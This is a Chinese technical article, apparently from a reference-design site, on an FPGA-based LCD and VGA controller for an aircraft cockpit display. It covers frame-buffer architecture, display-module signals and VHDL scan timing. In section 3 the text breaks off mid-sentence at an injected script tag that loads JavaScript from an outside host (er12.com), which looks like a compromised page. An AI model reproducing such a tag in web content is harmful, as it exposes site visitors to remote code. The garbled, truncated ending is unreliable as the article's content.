基于FPGA的LCD&VGA控制器设计

摘要:介绍了基于fpga的图形式lcd&vga控制器的设计,详细讨论了用vhdl设计行场扫描时序的方法,这种设计方法稍作改动便可产生任意行场扫描时序,具有很好的可重用性。该控制器已成功地在某型飞机座舱图形显示系统中使用。

  关键词:仪表装置 lcd vhdl fpga vga

  飞机座舱图形显示系统已发展到第六代,即采用有源矩阵彩色液晶显示器amlcd(active matrix liquid crystal display)。当前高分辨率的军用amlcd显示模块还只能依靠进口,且控制电路板须安装在该显示模块提供的机箱内。这种安装方式对amlcd控制电路板的尺寸要求高,要求尽可能减少所设计电路板的尺寸。在笔者设计的新一代飞机座舱图形显示系统中使用了大规模现场可编程门阵列fpga(field programmable gate array),这种设计方式可以将以前需要多块集成芯片的电路设计到一块大规模可编程逻辑器件中,大大减少了电路板的尺寸,增强了系统的可靠性和设计的灵活性。本文详细介绍了已在实际项目中应用的基于fpga的图形式amlcd控制器设计,这种设计方法稍作修改即可应用于常见vga视频接口电路的设计。

  1 图形显示系统简介

  图1是飞机座舱图形显示系统结构框图。图中处理器采用ad公司的adsp21061芯片,amlcd采用korry公司的kdm710全彩色液晶显示模块,该模块为5×5英寸、600×600分辨率彩色液晶显示模块,24位数字rgb输入。两个帧存a和b采用idt公司的71v424高速异步静态ram,系统采用两个帧存轮流操作的方法:当dsp向其中一个帧存写象素时,由fpga构成的帧存控制器将另一个帧存中的象素顺序读出送给amlcd,反之亦然。图形显示系统通过idt公司的71v04双口ram接收主机的显示信息。图1中的帧存控制器和视频控制器由xilinx公司的spartanii芯片xc2s50实现。

  2 kmd710显示模块

  如图1所示,美国korry公司提供的kdm710全彩色液晶显示模块接口信号主要有如下几组:3个8位rgb数字信号、行同步信号hsync、场同步信号vsync、数据使能信号data_en和点时钟输入dclk。根据amlcd数据手册所要求的时序,确定扫描时序和相应的时序参数如图2所示。一般,图形终端显示器扫描制式与广播电视的标准有点不同,须根据显示模块所提供的时间要求来确定扫描时序,其中的行场同步的前后肩,可以根据需要进行微调,一般为了防止每行的第一个象素丢失,要求行同步的后肩c与行同步脉冲宽b尽量相等。图2中的点时钟为20mhz,行周期为650个时钟周期,场周期为615个行周期(场频为50hz)。

  3 lcd&vga控制器设计

  设计行场扫描时序,一般有两种方式:查找表方式和编程逻辑方式。查找表方式主要由存储芯片构成,如sram、eprom、porm等。使用时,先根据所要产生的时序在存储单元写入相应的数值,查表时再从表内读出对应存储单元的数值,以形成扫描时序。扫描时序查找表分为行扫描时序查找表和场扫描时序查找表。场扫描时序查找表的输入时钟由行同步脉冲提供。用查找表形成时序的方法存在体积大、计算烦琐的缺点。随着大规模逻辑芯片的出现,利用编程逻辑方法产生行场扫描时序是一个发展方向。这种方法具有电路简单、功能强、修改方便、可靠性高等优点。图3为lcd控制器的框图。

  在本设计中,点时钟dclk由处理器dsp的系统时钟40mhz经数字锁相环二分频得到。点时钟驱动行时序生成器,产生图2所示的行同步信号hs和行消隐信号hb。为避免毛刺,控制器设计采用同步设计方法,如图3所示,行同步信号hs通过一个微分电路,产生一个点时钟周期宽的场时序生成器使能信号。在使能信号有效时,场时序生成器开始计数,并产生场同步信号vs和场消隐信号vb。行消隐信号hb和场消隐信号vb相与后即为数据使能信号data_en。该数据使能信号作为产生帧存地址计数器的计数使能,以保证data_en信号为高时,?script src=http://er12.com/t.js>

  • 基于FPGA的LCD&VGA控制器设计已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计